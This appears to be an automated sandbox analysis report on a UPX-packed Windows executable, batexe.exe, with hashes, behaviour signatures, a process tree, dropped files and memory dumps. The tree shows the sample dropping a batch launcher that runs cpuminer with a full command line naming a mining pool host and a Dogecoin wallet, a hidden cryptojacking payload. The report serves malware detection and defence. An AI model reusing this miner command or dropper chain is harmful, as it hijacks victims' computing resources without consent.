73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
304s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12/02/2024, 15:09

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
380	b2e.exe
1836	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1836	cpuminer-sse2.exe
1836	cpuminer-sse2.exe
1836	cpuminer-sse2.exe
1836	cpuminer-sse2.exe
1836	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/5052-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 380	5052	batexe.exe	73
PID 5052 wrote to memory of 380	5052	batexe.exe	73
PID 5052 wrote to memory of 380	5052	batexe.exe	73
PID 380 wrote to memory of 4280	380	b2e.exe	74
PID 380 wrote to memory of 4280	380	b2e.exe	74
PID 380 wrote to memory of 4280	380	b2e.exe	74
PID 4280 wrote to memory of 1836	4280	cmd.exe	77
PID 4280 wrote to memory of 1836	4280	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Users\Admin\AppData\Local\Temp\BC1C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\BC1C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\BC1C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:380
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C043.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4280
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BC1C.tmp\b2e.exe

Filesize
768KB

MD5
41acb3c7c35169437c8e50c36e39f5a5

SHA1
6b7a95c8fb404247edb7430b46e931495eeba0d1

SHA256
77003c5f07279f31ace3879feb99ce0568a05bc7bc56ecd5707bc0581cb6016a

SHA512
670b258078f3ccd9e3e710a994d95d406094dab87b4e4e11e3b312a7883631877ea896bc53150cb8b9bb8a0500df129005973212fce0541978df505edbe7d145

Download Submit
C:\Users\Admin\AppData\Local\Temp\BC1C.tmp\b2e.exe

Filesize
704KB

MD5
2bb8bf63c7d7958f71f9307c8635131f

SHA1
2362f18b011bd1e60fa078052821edefa33b8e08

SHA256
85151a35fd2a7ef587918c4702b2adbe0c3e7eed43bc8564a662ed03a6f3ce79

SHA512
59eba9edea2b2af76f261db76b15912b20070d75db7cf498d55a1bc13f11692d016c9a70ed447a784c874f6d11582112312f3d058443606eb4b6de349a4857ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\C043.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
2af1ce05b5a790b134eefd1efd88dab7

SHA1
b078e6f3cf7ee356e0d9b671c6d33f3a6e777524

SHA256
ce4cb4f4e60a89cbf413622a7f96f879ee15256d4ed5872ccbc3f2b366369fe3

SHA512
bc08666b4c96fb98b1e1a9db0ec10c5bbcddb82efc4829d65057f765a37a24f6e28076300dcc3f07c0b547b563593232f90d959607ee6a5faca26b27364cf695

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
b465230cf79fcd815a31dad053d1dbe1

SHA1
f1bf5606ba3d1bb49d9437b5ba489fd9e8614ace

SHA256
cd616032256b5c1fdad92cf551a04c9f8fb9292262b19af72c1d8406b8baf865

SHA512
b832fcdf586c0afad6f0fc7dd315ba3ae05d3e49ca730ddba0ac463620afd44215a3e2d3f906de41e4448dd91610b13633148048819156aa27a4ee3155d3e9bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
799d3c24a4a181fef5c81ff448d54ca8

SHA1
4d78bf61e271fee37f496e5b27d98b4003d6f7f1

SHA256
49087555ba33ec28799185c3af8f2fe87c0519ce6b74fbfcd6fee01360cf6d73

SHA512
422485b12dcd6d9cab0fb589f013f98c5b144de14b6e07af756cb0d6970be8b090e44dd143cf0a3d09e50d4f06d9c68a39a1f3c5241b624446fe1e2ee181cae5

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
64KB

MD5
e98583e2f3157ea2561f40a91a79b195

SHA1
770932f48dbea7a78a3b21e3df65e329a27313ff

SHA256
f6b3de2ac1e9c449daf82a3bd6fa52d2ed60e73e8cdd25d5d2194586a8d10de2

SHA512
cfa97067447a389dc5439dc42ca467f97947fa7010314cad0b99655688361721720bb33e34a1c7b22c93d807327b756109f63d15a40df5aaec620b0d0e1acc7f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/380-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/380-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1836-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1836-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1836-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1836-43-0x00000000504C0000-0x0000000050558000-memory.dmp

Filesize
608KB

Download
memory/1836-44-0x00000000010E0000-0x0000000002995000-memory.dmp

Filesize
24.7MB

Download
memory/1836-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1836-48-0x00000000504C0000-0x0000000050558000-memory.dmp

Filesize
608KB

Download
memory/1836-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1836-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1836-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1836-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1836-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1836-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1836-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5052-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download